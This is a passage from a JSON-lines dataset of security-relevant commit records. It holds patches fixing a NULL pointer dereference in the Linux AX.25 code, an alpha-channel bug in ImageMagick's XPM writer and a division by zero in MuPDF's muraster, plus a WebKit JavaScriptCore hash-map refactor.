ax25_connect() to initiate connection. The receiver use ax25_rcv() to\naccept connection and use ax25_create_cb() in ax25_rcv() to create ax25_cb, but the\nax25_cb->sk is NULL. When the receiver is detaching, a NULL pointer dereference bug\ncaused by sock_hold(sk) in ax25_kill_by_device() will happen. The corresponding\nfail log is shown below:\n\n===============================================================\nBUG: KASAN: null-ptr-deref in ax25_device_event+0xfd/0x290\nCall Trace:\n...\nax25_device_event+0xfd/0x290\nraw_notifier_call_chain+0x5e/0x70\ndev_close_many+0x174/0x220\nunregister_netdevice_many+0x1f7/0xa60\nunregister_netdevice_queue+0x12f/0x170\nunregister_netdev+0x13/0x20\nmkiss_close+0xcd/0x140\ntty_ldisc_release+0xc0/0x220\ntty_release_struct+0x17/0xa0\ntty_release+0x62d/0x670\n...\n\nThis patch add condition check in ax25_kill_by_device(). If s->sk is\nNULL, it will goto if branch to kill device.\n\nFixes: 4e0f718daf97 (\"ax25: improve the incomplete fix to avoid UAF and NPD bugs\")\nReported-by: Thomas Osterried \nSigned-off-by: Duoming Zhou \nSigned-off-by: David S. Miller ", "patch": "@@ -87,6 +87,13 @@ static void ax25_kill_by_device(struct net_device *dev)\n \tax25_for_each(s, &ax25_list) {\n \t\tif (s->ax25_dev == ax25_dev) {\n \t\t\tsk = s->sk;\n+\t\t\tif (!sk) {\n+\t\t\t\tspin_unlock_bh(&ax25_list_lock);\n+\t\t\t\ts->ax25_dev = NULL;\n+\t\t\t\tax25_disconnect(s, ENETUNREACH);\n+\t\t\t\tspin_lock_bh(&ax25_list_lock);\n+\t\t\t\tgoto again;\n+\t\t\t}\n \t\t\tsock_hold(sk);\n \t\t\tspin_unlock_bh(&ax25_list_lock);\n \t\t\tlock_sock(sk);", "sections": [{"section": "@@ -87,6 +87,13 @@ static void ax25_kill_by_device(struct net_device *dev)\n \tax25_for_each(s, &ax25_list) {\n \t\tif (s->ax25_dev == ax25_dev) {\n \t\t\tsk = s->sk;\n+\t\t\tif (!sk) {\n+\t\t\t\tspin_unlock_bh(&ax25_list_lock);\n+\t\t\t\ts->ax25_dev = NULL;\n+\t\t\t\tax25_disconnect(s, ENETUNREACH);\n+\t\t\t\tspin_lock_bh(&ax25_list_lock);\n+\t\t\t\tgoto again;\n+\t\t\t}\n \t\t\tsock_hold(sk);\n \t\t\tspin_unlock_bh(&ax25_list_lock);\n \t\t\tlock_sock(sk);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/xpm.c", "commit_id": "e50f19fd73c792ebe912df8ab83aa51a243a3da7", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/4729", "patch": "@@ -773,7 +773,7 @@ static MagickBooleanType WritePICONImage(const ImageInfo *image_info,\n break;\n for (x=0; x < (ssize_t) picon->columns; x++)\n {\n- if (GetPixelAlpha(image,q) == (Quantum) TransparentAlpha)\n+ if (GetPixelAlpha(picon,q) == (Quantum) TransparentAlpha)\n transparent=MagickTrue;\n else\n SetPixelAlpha(picon,OpaqueAlpha,q);\n@@ -804,7 +804,7 @@ static MagickBooleanType WritePICONImage(const ImageInfo *image_info,\n break;\n for (x=0; x < (ssize_t) picon->columns; x++)\n {\n- if (GetPixelAlpha(image,q) == (Quantum) TransparentAlpha)\n+ if (GetPixelAlpha(picon,q) == (Quantum) TransparentAlpha)\n SetPixelIndex(picon,(Quantum) picon->colors,q);\n q+=GetPixelChannels(picon);\n }", "sections": [{"section": "@@ -773,7 +773,7 @@ static MagickBooleanType WritePICONImage(const ImageInfo *image_info,\n break;\n for (x=0; x < (ssize_t) picon->columns; x++)\n {\n- if (GetPixelAlpha(image,q) == (Quantum) TransparentAlpha)\n+ if (GetPixelAlpha(picon,q) == (Quantum) TransparentAlpha)\n transparent=MagickTrue;\n else\n SetPixelAlpha(picon,OpaqueAlpha,q);\n", "related": false}, {"section": "@@ -804,7 +804,7 @@ static MagickBooleanType WritePICONImage(const ImageInfo *image_info,\n break;\n for (x=0; x < (ssize_t) picon->columns; x++)\n {\n- if (GetPixelAlpha(image,q) == (Quantum) TransparentAlpha)\n+ if (GetPixelAlpha(picon,q) == (Quantum) TransparentAlpha)\n SetPixelIndex(picon,(Quantum) picon->colors,q);\n q+=GetPixelChannels(picon);\n }", "related": false}]} +{"owner": "artifexsoftware", "repo": "mupdf", "language": "C", "file_name": "source/tools/muraster.c", "commit_id": "22c47acbd52949421f8c7cb46ea1556827d0fcbf", "commit_message": "Bug 704834: Fix division by zero for zero width pages in muraster.", "patch": "@@ -1003,8 +1003,9 @@ initialise_banding(fz_context *ctx, render_details *render, int color)\n \n \tw = render->ibounds.x1 - render->ibounds.x0;\n \tmin_band_mem = (size_t)bpp * w * min_band_height;\n-\treps = (int)(max_band_memory / min_band_mem);\n-\tif (reps < 1)\n+\tif (min_band_mem > 0)\n+\t\treps = (int)(max_band_memory / min_band_mem);\n+\tif (min_band_mem == 0 || reps < 1)\n \t\treps = 1;\n \n \t/* Adjust reps to even out the work between threads */", "sections": [{"section": "@@ -1003,8 +1003,9 @@ initialise_banding(fz_context *ctx, render_details *render, int color)\n \n \tw = render->ibounds.x1 - render->ibounds.x0;\n \tmin_band_mem = (size_t)bpp * w * min_band_height;\n-\treps = (int)(max_band_memory / min_band_mem);\n-\tif (reps < 1)\n+\tif (min_band_mem > 0)\n+\t\treps = (int)(max_band_memory / min_band_mem);\n+\tif (min_band_mem == 0 || reps < 1)\n \t\treps = 1;\n \n \t/* Adjust reps to even out the work between threads */", "related": false}]} +{"owner": "webkit", "repo": "webkit", "language": "C", "file_name": "Source/JavaScriptCore/runtime/HashMapImplInlines.h", "commit_id": "1ed1e4a336e15a59b94a21b0300658e2f7dc9fef", "commit_message": "[JSC] Make JSMap and JSSet construction more simple and efficient\nhttps://bugs.webkit.org/show_bug.cgi?id=243557\nrdar://98068082\n\nReviewed by Mark Lam and Saam Barati.\n\nThis patch makes the initial buffer of JSMap / JSSet nullptr so that we can make allocation of them\nsimpler and efficient for non-using case. It cleans up many code in module loader etc. And it paves\nthe way to allocating them from DFG and FTL efficiently. It also cleans up SerializedScriptValue\nimplementation.\n\n* JSTests/stress/map-clear-get.js: Added.\n(shouldBe):\n(test):\n* JSTests/stress/set-clear-has.js: Added.\n(shouldBe):\n(set clear):\n(set shouldBe):\n(set new):\n* Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp:\n(JSC::DFG::SpeculativeJIT::compile):\n* Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp:\n(JSC::FTL::DFG::LowerDFGToB3::compileCompareStrictEq):\n* Source/JavaScriptCore/runtime/AbstractModuleRecord.cpp:\n(JSC::AbstractModuleRecord::finishCreation):\n* Source/JavaScriptCore/runtime/HashMapImpl.h:\n(JSC::HashMapBuffer::tryCreate):\n(JSC::HashMapImpl::HashMapImpl):\n(JSC::HashMapBuffer::create): Deleted.\n(JSC::HashMapImpl::shouldRehashAfterAdd const): Deleted.\n* Source/JavaScriptCore/runtime/HashMapImplInlines.h:\n(JSC::shouldShrink):\n(JSC::shouldRehash):\n(JSC::nextCapacity):\n(JSC::HashMapImpl::finishCreation):\n(JSC::HashMapImpl::add):\n(JSC::HashMapImpl::addNormalized):\n(JSC::HashMapImpl::remove):\n(JSC::HashMapImpl::clear):\n(JSC::HashMapImpl::setUpHeadAndTail):\n(JSC::HashMapImpl::addNormalizedNonExistingForCloning):\n(JSC::HashMapImpl::addNormalizedNonExistingForCloningInternal):\n(JSC::HashMapImpl::addNormalizedInternal):\n(JSC::HashMapImpl::findBucketAlreadyHashedAndNormalized):\n(JSC::HashMapImpl::rehash):\n(JSC::HashMapImpl::makeAndSetNewBuffer):\n(JSC::HashMapImpl::assertBufferIsEmpty):\n(JSC::shouldRehashAfterAdd): Deleted.\n(JSC::HashMapImpl::assertBufferIsEmpty const): Deleted.\n* Source/JavaScriptCore/runtime/JSMap.h:\n* Source/JavaScriptCore/runtime/JSModuleLoader.cpp:\n(JSC::JSModuleLoader::finishCreation):\n* Source/JavaScriptCore/runtime/JSSet.h:\n* Source/JavaScriptCore/runtime/MapConstructor.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/MapPrototype.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/SetConstructor.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/SetPrototype.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/WeakMapImplInlines.h:\n(JSC::WeakMapImpl::shouldRehashAfterAdd const):\n* Source/WebCore/bindings/js/JSDOMMapLike.cpp:\n(WebCore::getBackingMap):\n* Source/WebCore/bindings/js/JSDOMSetLike.cpp:\n(WebCore::getBackingSet):\n* Source/WebCore/bindings/js/SerializedScriptValue.cpp:\n(WebCore::CloneDeserializer::deserialize):\n\nCanonical link: https://commits.webkit.org/253133@main", "patch": "@@ -137,20 +137,25 @@ ALWAYS_INLINE std::optional concurrentJSMapHash(JSValue key)\n return wangsInt64Hash(rawValue);\n }\n \n+static constexpr uint32_t hashMapInitialCapacity = 4;\n+\n ALWAYS_INLINE uint32_t shouldShrink(uint32_t capacity, uint32_t keyCount)\n {\n- return 8 * keyCount <= capacity && capacity > 4;\n+ return 8 * keyCount <= capacity && capacity > hashMapInitialCapacity;\n }\n \n-ALWAYS_INLINE uint32_t shouldRehashAfterAdd(uint32_t capacity, uint32_t keyCount, uint32_t deleteCount)\n+ALWAYS_INLINE uint32_t shouldRehash(uint32_t capacity, uint32_t keyCount, uint32_t deleteCount)\n {\n return 2 * (keyCount + deleteCount) >= capacity;\n }\n \n ALWAYS_INLINE uint32_t nextCapacity(uint32_t capacity, uint32_t keyCount)\n {\n+ if (!capacity)\n+ return hashMapInitialCapacity;\n+\n if (shouldShrink(capacity, keyCount)) {\n- ASSERT((capacity / 2) >= 4);\n+ ASSERT((capacity / 2) >= hashMapInitialCapacity);\n return capacity / 2;\n }\n \n@@ -173,17 +178,11 @@ ALWAYS_INLINE uint32_t nextCapacity(uint32_t capacity, uint32_t keyCount)\n }\n \n template \n-void HashMapImpl::finishCreation(JSGlobalObject* globalObject, VM& vm)\n+void HashMapImpl::finishCreation(VM& vm)\n {\n ASSERT_WITH_MESSAGE(HashMapBucket::offsetOfKey() == HashMapBucket::offsetOfKey(), \"We assume this to be true in the DFG and FTL JIT.\");\n-\n- auto scope = DECLARE_THROW_SCOPE(vm);\n Base::finishCreation(vm);\n-\n- makeAndSetNewBuffer(globalObject, vm);\n- RETURN_IF_EXCEPTION(scope, void());\n-\n- setUpHeadAndTail(globalObject, vm);\n+ setUpHeadAndTail(vm);\n }\n \n template \n@@ -195,12 +194,11 @@ void HashMapImpl::finishCreation(JSGlobalObject* globalObject\n // This size should be the same to the case when you clone the map by calling add() repeatedly.\n uint32_t capacity = (Checked(base->m_keyCount) * 2) + 1;\n RELEASE_ASSERT(capacity <= (1U << 31));\n- capacity = std::max(WTF::roundUpToPowerOfTwo(capacity), 4U);\n- m_capacity = capacity;\n- makeAndSetNewBuffer(globalObject, vm);\n+ capacity = std::max(WTF::roundUpToPowerOfTwo(capacity), hashMapInitialCapacity);\n+ makeAndSetNewBuffer(globalObject, capacity, vm);\n RETURN_IF_EXCEPTION(scope, void());\n \n- setUpHeadAndTail(globalObject, vm);\n+ setUpHeadAndTail(vm);\n \n HashMapBucketType* bucket = base->m_head.get()->next();\n while (bucket) {\n@@ -249,17 +247,10 @@ ALWAYS_INLINE bool HashMapImpl::has(JSGlobalObject* globalObj\n template \n ALWAYS_INLINE void HashMapImpl::add(JSGlobalObject* globalObject, JSValue key, JSValue value)\n {\n- VM& vm = getVM(globalObject);\n- auto scope = DECLARE_THROW_SCOPE(vm);\n-\n key = normalizeMapKey(key);\n addNormalizedInternal(globalObject, key, value, [&] (HashMapBucketType* bucket) {\n return !isDeleted(bucket) && areKeysEqual(globalObject, key, bucket->key());\n });\n- RETURN_IF_EXCEPTION(scope, void());\n- scope.release();\n- if (shouldRehashAfterAdd())\n- rehash(globalObject);\n }\n \n template \n@@ -269,12 +260,9 @@ ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalized(J\n ASSERT_WITH_MESSAGE(normalizeMapKey(key) == key, \"We expect normalized values flowing into this function.\");\n DEFER_TERMINATION_AND_ASSERT_WITH_MESSAGE(vm, jsMapHash(globalObject, getVM(globalObject), key) == hash, \"We expect hash value is what we expect.\");\n \n- auto* bucket = addNormalizedInternal(vm, key, value, hash, [&] (HashMapBucketType* bucket) {\n+ return addNormalizedInternal(globalObject, key, value, hash, [&] (HashMapBucketType* bucket) {\n return !isDeleted(bucket) && areKeysEqual(globalObject, key, bucket->key());\n });\n- if (shouldRehashAfterAdd())\n- rehash(globalObject);\n- return bucket;\n }\n \n template \n@@ -297,15 +285,14 @@ ALWAYS_INLINE bool HashMapImpl::remove(JSGlobalObject* global\n --m_keyCount;\n \n if (shouldShrink())\n- rehash(globalObject);\n+ rehash(globalObject, RehashMode::AfterRemoval);\n \n return true;\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::clear(JSGlobalObject* globalObject)\n+ALWAYS_INLINE void HashMapImpl::clear(VM& vm)\n {\n- VM& vm = getVM(globalObject);\n m_keyCount = 0;\n m_deleteCount = 0;\n HashMapBucketType* head = m_head.get();\n@@ -320,13 +307,13 @@ ALWAYS_INLINE void HashMapImpl::clear(JSGlobalObject* globalO\n }\n m_head->setNext(vm, m_tail.get());\n m_tail->setPrev(vm, m_head.get());\n- m_capacity = 4;\n- makeAndSetNewBuffer(globalObject, vm);\n+ m_buffer.clear();\n+ m_capacity = 0;\n checkConsistency();\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(JSGlobalObject*, VM& vm)\n+ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(VM& vm)\n {\n m_head.set(vm, this, HashMapBucketType::create(vm));\n m_tail.set(vm, this, HashMapBucketType::create(vm));\n@@ -340,7 +327,20 @@ ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(JSGlobalObje\n template \n ALWAYS_INLINE void HashMapImpl::addNormalizedNonExistingForCloning(JSGlobalObject* globalObject, JSValue key, JSValue value)\n {\n- addNormalizedInternal(globalObject, key, value, [&] (HashMapBucketType*) {\n+ VM& vm = getVM(globalObject);\n+ auto scope = DECLARE_THROW_SCOPE(vm);\n+\n+ uint32_t hash = jsMapHash(globalObject, vm, key);\n+ RETURN_IF_EXCEPTION(scope, void());\n+ scope.release();\n+\n+ addNormalizedNonExistingForCloningInternal(globalObject, key, value, hash);\n+}\n+\n+template \n+ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedNonExistingForCloningInternal(JSGlobalObject* globalObject, JSValue key, JSValue value, uint32_t hash)\n+{\n+ return addNormalizedInternal(globalObject, key, value, hash, [&](HashMapBucketType*) {\n return false;\n });\n }\n@@ -355,26 +355,49 @@ ALWAYS_INLINE void HashMapImpl::addNormalizedInternal(JSGloba\n uint32_t hash = jsMapHash(globalObject, vm, key);\n RETURN_IF_EXCEPTION(scope, void());\n scope.release();\n- addNormalizedInternal(vm, key, value, hash, canUseBucket);\n+ addNormalizedInternal(globalObject, key, value, hash, canUseBucket);\n }\n \n template \n template\n-ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedInternal(VM& vm, JSValue key, JSValue value, uint32_t hash, const CanUseBucket& canUseBucket)\n+ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedInternal(JSGlobalObject* globalObject, JSValue key, JSValue value, uint32_t hash, const CanUseBucket& canUseBucket)\n {\n+ VM& vm = getVM(globalObject);\n+ auto scope = DECLARE_THROW_SCOPE(vm);\n ASSERT_WITH_MESSAGE(normalizeMapKey(key) == key, \"We expect normalized values flowing into this function.\");\n \n+ if (!m_capacity) {\n+ makeAndSetNewBuffer(globalObject, hashMapInitialCapacity, vm);\n+ RETURN_IF_EXCEPTION(scope, { });\n+ }\n+\n const uint32_t mask = m_capacity - 1;\n uint32_t index = hash & mask;\n HashMapBucketType** buffer = this->buffer();\n- HashMapBucketType* bucket = buffer[index];\n- while (!isEmpty(bucket)) {\n- if (canUseBucket(bucket)) {\n- bucket->setValue(vm, value);\n- return bucket;\n+ {\n+ HashMapBucketType* bucket = buffer[index];\n+ while (!isEmpty(bucket)) {\n+ if (canUseBucket(bucket)) {\n+ bucket->setValue(vm, value);\n+ return bucket;\n+ }\n+ index = (index + 1) & mask;\n+ bucket = buffer[index];\n }\n- index = (index + 1) & mask;\n- bucket = buffer[index];\n+ }\n+\n+ if (JSC::shouldRehash(m_capacity, m_keyCount + 1, m_deleteCount)) {\n+ rehash(globalObject, RehashMode::BeforeAddition);\n+ RETURN_IF_EXCEPTION(scope, { });\n+ // We ensure that (1) this map does not have deleted keys because of rehashing and (2) this map does not have the same key as |key| input.\n+ // Thus, we can just search for empty bucket.\n+ ASSERT(m_capacity);\n+ ASSERT(isPowerOfTwo(m_capacity));\n+ const uint32_t mask = m_capacity - 1;\n+ index = hash & mask;\n+ buffer = this->buffer();\n+ while (!isEmpty(buffer[index]))\n+ index = (index + 1) & mask;\n }\n \n HashMapBucketType* newEntry = m_tail.get();\n@@ -395,6 +418,9 @@ ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedIn\n template \n ALWAYS_INLINE HashMapBucketType** HashMapImpl::findBucketAlreadyHashedAndNormalized(JSGlobalObject* globalObject, JSValue key, uint32_t hash)\n {\n+ if (!m_capacity)\n+ return nullptr;\n+\n const uint32_t mask = m_capacity - 1;\n uint32_t index = hash & mask;\n HashMapBucketType** buffer = this->buffer();\n@@ -410,20 +436,25 @@ ALWAYS_INLINE HashMapBucketType** HashMapImpl::findBucketAlre\n }\n \n template \n-void HashMapImpl::rehash(JSGlobalObject* globalObject)\n+void HashMapImpl::rehash(JSGlobalObject* globalObject, RehashMode mode)\n {\n VM& vm = getVM(globalObject);\n auto scope = DECLARE_THROW_SCOPE(vm);\n \n uint32_t oldCapacity = m_capacity;\n- m_capacity = nextCapacity(m_capacity, m_keyCount);\n+ uint32_t newCapacity = nextCapacity(m_capacity, m_keyCount + (mode == RehashMode::BeforeAddition ? 1 : 0));\n+ ASSERT(newCapacity);\n \n- if (m_capacity != oldCapacity) {\n- makeAndSetNewBuffer(globalObject, vm);\n+ if (newCapacity != oldCapacity) {\n+ makeAndSetNewBuffer(globalObject, newCapacity, vm);\n RETURN_IF_EXCEPTION(scope, void());\n } else {\n- m_buffer->reset(m_capacity);\n- assertBufferIsEmpty();\n+ ASSERT(newCapacity);\n+ ASSERT(oldCapacity);\n+ ASSERT(m_capacity == newCapacity);\n+ ASSERT(m_buffer);\n+ m_buffer->reset(newCapacity);\n+ assertBufferIsEmpty(buffer(), newCapacity);\n }\n \n HashMapBucketType* iter = m_head->next();\n@@ -466,25 +497,28 @@ ALWAYS_INLINE void HashMapImpl::checkConsistency() const\n }\n \n template \n-void HashMapImpl::makeAndSetNewBuffer(JSGlobalObject* globalObject, VM& vm)\n+void HashMapImpl::makeAndSetNewBuffer(JSGlobalObject* globalObject, uint32_t newCapacity, VM& vm)\n {\n- ASSERT(!(m_capacity & (m_capacity - 1)));\n+ ASSERT(!(newCapacity & (newCapacity - 1)));\n \n- HashMapBufferType* buffer = HashMapBufferType::create(globalObject, vm, this, m_capacity);\n+ HashMapBufferType* buffer = HashMapBufferType::tryCreate(globalObject, vm, newCapacity);\n if (UNLIKELY(!buffer))\n return;\n \n m_buffer.set(vm, this, buffer);\n- assertBufferIsEmpty();\n+ m_capacity = newCapacity;\n+ assertBufferIsEmpty(this->buffer(), newCapacity);\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::assertBufferIsEmpty() const\n+ALWAYS_INLINE void HashMapImpl::assertBufferIsEmpty(HashMapBucketType** buffer, uint32_t capacity)\n {\n- if (ASSERT_ENABLED) {\n- for (unsigned i = 0; i < m_capacity; i++)\n- ASSERT(isEmpty(buffer()[i]));\n- }\n+ UNUSED_PARAM(buffer);\n+ UNUSED_PARAM(capacity);\n+#if ASSERT_ENABLED\n+ for (unsigned i = 0; i < capacity; i++)\n+ ASSERT(isEmpty(buffer[i]));\n+#endif\n }\n \n } // namespace JSC", "sections": [{"section": "@@ -137,20 +137,25 @@ ALWAYS_INLINE std::optional concurrentJSMapHash(JSValue key)\n return wangsInt64Hash(rawValue);\n }\n \n+static constexpr uint32_t hashMapInitialCapacity = 4;\n+\n ALWAYS_INLINE uint32_t shouldShrink(uint32_t capacity, uint32_t keyCount)\n {\n- return 8 * keyCount <= capacity && capacity > 4;\n+ return 8 * keyCount <= capacity && capacity > hashMapInitialCapacity;\n }\n \n-ALWAYS_INLINE uint32_t shouldRehashAfterAdd(uint32_t capacity, uint32_t keyCount, uint32_t deleteCount)\n+ALWAYS_INLINE uint32_t shouldRehash(uint32_t capacity, uint32_t keyCount, uint32_t deleteCount)\n {\n return 2 * (keyCount + deleteCount) >= capacity;\n }\n \n ALWAYS_INLINE uint32_t nextCapacity(uint32_t capacity, uint32_t keyCount)\n {\n+ if (!capacity)\n+ return hashMapInitialCapacity;\n+\n if (shouldShrink(capacity, keyCount)) {\n- ASSERT((capacity / 2) >= 4);\n+ ASSERT((capacity / 2) >= hashMapInitialCapacity);\n return capacity / 2;\n }\n \n", "related": false}, {"section": "@@ -173,17 +178,11 @@ ALWAYS_INLINE uint32_t nextCapacity(uint32_t capacity, uint32_t keyCount)\n }\n \n template \n-void HashMapImpl::finishCreation(JSGlobalObject* globalObject, VM& vm)\n+void HashMapImpl::finishCreation(VM& vm)\n {\n ASSERT_WITH_MESSAGE(HashMapBucket::offsetOfKey() == HashMapBucket::offsetOfKey(), \"We assume this to be true in the DFG and FTL JIT.\");\n-\n- auto scope = DECLARE_THROW_SCOPE(vm);\n Base::finishCreation(vm);\n-\n- makeAndSetNewBuffer(globalObject, vm);\n- RETURN_IF_EXCEPTION(scope, void());\n-\n- setUpHeadAndTail(globalObject, vm);\n+ setUpHeadAndTail(vm);\n }\n \n template \n", "related": false}, {"section": "@@ -195,12 +194,11 @@ void HashMapImpl::finishCreation(JSGlobalObject* globalObject\n // This size should be the same to the case when you clone the map by calling add() repeatedly.\n uint32_t capacity = (Checked(base->m_keyCount) * 2) + 1;\n RELEASE_ASSERT(capacity <= (1U << 31));\n- capacity = std::max(WTF::roundUpToPowerOfTwo(capacity), 4U);\n- m_capacity = capacity;\n- makeAndSetNewBuffer(globalObject, vm);\n+ capacity = std::max(WTF::roundUpToPowerOfTwo(capacity), hashMapInitialCapacity);\n+ makeAndSetNewBuffer(globalObject, capacity, vm);\n RETURN_IF_EXCEPTION(scope, void());\n \n- setUpHeadAndTail(globalObject, vm);\n+ setUpHeadAndTail(vm);\n \n HashMapBucketType* bucket = base->m_head.get()->next();\n while (bucket) {\n", "related": false}, {"section": "@@ -249,17 +247,10 @@ ALWAYS_INLINE bool HashMapImpl::has(JSGlobalObject* globalObj\n template \n ALWAYS_INLINE void HashMapImpl::add(JSGlobalObject* globalObject, JSValue key, JSValue value)\n {\n- VM& vm = getVM(globalObject);\n- auto scope = DECLARE_THROW_SCOPE(vm);\n-\n key = normalizeMapKey(key);\n addNormalizedInternal(globalObject, key, value, [&] (HashMapBucketType* bucket) {\n return !isDeleted(bucket) && areKeysEqual(globalObject, key, bucket->key());\n });\n- RETURN_IF_EXCEPTION(scope, void());\n- scope.release();\n- if (shouldRehashAfterAdd())\n- rehash(globalObject);\n }\n \n template \n", "related": false}, {"section": "@@ -269,12 +260,9 @@ ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalized(J\n ASSERT_WITH_MESSAGE(normalizeMapKey(key) == key, \"We expect normalized values flowing into this function.\");\n DEFER_TERMINATION_AND_ASSERT_WITH_MESSAGE(vm, jsMapHash(globalObject, getVM(globalObject), key) == hash, \"We expect hash value is what we expect.\");\n \n- auto* bucket = addNormalizedInternal(vm, key, value, hash, [&] (HashMapBucketType* bucket) {\n+ return addNormalizedInternal(globalObject, key, value, hash, [&] (HashMapBucketType* bucket) {\n return !isDeleted(bucket) && areKeysEqual(globalObject, key, bucket->key());\n });\n- if (shouldRehashAfterAdd())\n- rehash(globalObject);\n- return bucket;\n }\n \n template \n", "related": false}, {"section": "@@ -297,15 +285,14 @@ ALWAYS_INLINE bool HashMapImpl::remove(JSGlobalObject* global\n --m_keyCount;\n \n if (shouldShrink())\n- rehash(globalObject);\n+ rehash(globalObject, RehashMode::AfterRemoval);\n \n return true;\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::clear(JSGlobalObject* globalObject)\n+ALWAYS_INLINE void HashMapImpl::clear(VM& vm)\n {\n- VM& vm = getVM(globalObject);\n m_keyCount = 0;\n m_deleteCount = 0;\n HashMapBucketType* head = m_head.get();\n", "related": false}, {"section": "@@ -320,13 +307,13 @@ ALWAYS_INLINE void HashMapImpl::clear(JSGlobalObject* globalO\n }\n m_head->setNext(vm, m_tail.get());\n m_tail->setPrev(vm, m_head.get());\n- m_capacity = 4;\n- makeAndSetNewBuffer(globalObject, vm);\n+ m_buffer.clear();\n+ m_capacity = 0;\n checkConsistency();\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(JSGlobalObject*, VM& vm)\n+ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(VM& vm)\n {\n m_head.set(vm, this, HashMapBucketType::create(vm));\n m_tail.set(vm, this, HashMapBucketType::create(vm));\n", "related": false}, {"section": "@@ -340,7 +327,20 @@ ALWAYS_INLINE void HashMapImpl::setUpHeadAndTail(JSGlobalObje\n template \n ALWAYS_INLINE void HashMapImpl::addNormalizedNonExistingForCloning(JSGlobalObject* globalObject, JSValue key, JSValue value)\n {\n- addNormalizedInternal(globalObject, key, value, [&] (HashMapBucketType*) {\n+ VM& vm = getVM(globalObject);\n+ auto scope = DECLARE_THROW_SCOPE(vm);\n+\n+ uint32_t hash = jsMapHash(globalObject, vm, key);\n+ RETURN_IF_EXCEPTION(scope, void());\n+ scope.release();\n+\n+ addNormalizedNonExistingForCloningInternal(globalObject, key, value, hash);\n+}\n+\n+template \n+ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedNonExistingForCloningInternal(JSGlobalObject* globalObject, JSValue key, JSValue value, uint32_t hash)\n+{\n+ return addNormalizedInternal(globalObject, key, value, hash, [&](HashMapBucketType*) {\n return false;\n });\n }\n", "related": false}, {"section": "@@ -355,26 +355,49 @@ ALWAYS_INLINE void HashMapImpl::addNormalizedInternal(JSGloba\n uint32_t hash = jsMapHash(globalObject, vm, key);\n RETURN_IF_EXCEPTION(scope, void());\n scope.release();\n- addNormalizedInternal(vm, key, value, hash, canUseBucket);\n+ addNormalizedInternal(globalObject, key, value, hash, canUseBucket);\n }\n \n template \n template\n-ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedInternal(VM& vm, JSValue key, JSValue value, uint32_t hash, const CanUseBucket& canUseBucket)\n+ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedInternal(JSGlobalObject* globalObject, JSValue key, JSValue value, uint32_t hash, const CanUseBucket& canUseBucket)\n {\n+ VM& vm = getVM(globalObject);\n+ auto scope = DECLARE_THROW_SCOPE(vm);\n ASSERT_WITH_MESSAGE(normalizeMapKey(key) == key, \"We expect normalized values flowing into this function.\");\n \n+ if (!m_capacity) {\n+ makeAndSetNewBuffer(globalObject, hashMapInitialCapacity, vm);\n+ RETURN_IF_EXCEPTION(scope, { });\n+ }\n+\n const uint32_t mask = m_capacity - 1;\n uint32_t index = hash & mask;\n HashMapBucketType** buffer = this->buffer();\n- HashMapBucketType* bucket = buffer[index];\n- while (!isEmpty(bucket)) {\n- if (canUseBucket(bucket)) {\n- bucket->setValue(vm, value);\n- return bucket;\n+ {\n+ HashMapBucketType* bucket = buffer[index];\n+ while (!isEmpty(bucket)) {\n+ if (canUseBucket(bucket)) {\n+ bucket->setValue(vm, value);\n+ return bucket;\n+ }\n+ index = (index + 1) & mask;\n+ bucket = buffer[index];\n }\n- index = (index + 1) & mask;\n- bucket = buffer[index];\n+ }\n+\n+ if (JSC::shouldRehash(m_capacity, m_keyCount + 1, m_deleteCount)) {\n+ rehash(globalObject, RehashMode::BeforeAddition);\n+ RETURN_IF_EXCEPTION(scope, { });\n+ // We ensure that (1) this map does not have deleted keys because of rehashing and (2) this map does not have the same key as |key| input.\n+ // Thus, we can just search for empty bucket.\n+ ASSERT(m_capacity);\n+ ASSERT(isPowerOfTwo(m_capacity));\n+ const uint32_t mask = m_capacity - 1;\n+ index = hash & mask;\n+ buffer = this->buffer();\n+ while (!isEmpty(buffer[index]))\n+ index = (index + 1) & mask;\n }\n \n HashMapBucketType* newEntry = m_tail.get();\n", "related": false}, {"section": "@@ -395,6 +418,9 @@ ALWAYS_INLINE HashMapBucketType* HashMapImpl::addNormalizedIn\n template \n ALWAYS_INLINE HashMapBucketType** HashMapImpl::findBucketAlreadyHashedAndNormalized(JSGlobalObject* globalObject, JSValue key, uint32_t hash)\n {\n+ if (!m_capacity)\n+ return nullptr;\n+\n const uint32_t mask = m_capacity - 1;\n uint32_t index = hash & mask;\n HashMapBucketType** buffer = this->buffer();\n", "related": false}, {"section": "@@ -410,20 +436,25 @@ ALWAYS_INLINE HashMapBucketType** HashMapImpl::findBucketAlre\n }\n \n template \n-void HashMapImpl::rehash(JSGlobalObject* globalObject)\n+void HashMapImpl::rehash(JSGlobalObject* globalObject, RehashMode mode)\n {\n VM& vm = getVM(globalObject);\n auto scope = DECLARE_THROW_SCOPE(vm);\n \n uint32_t oldCapacity = m_capacity;\n- m_capacity = nextCapacity(m_capacity, m_keyCount);\n+ uint32_t newCapacity = 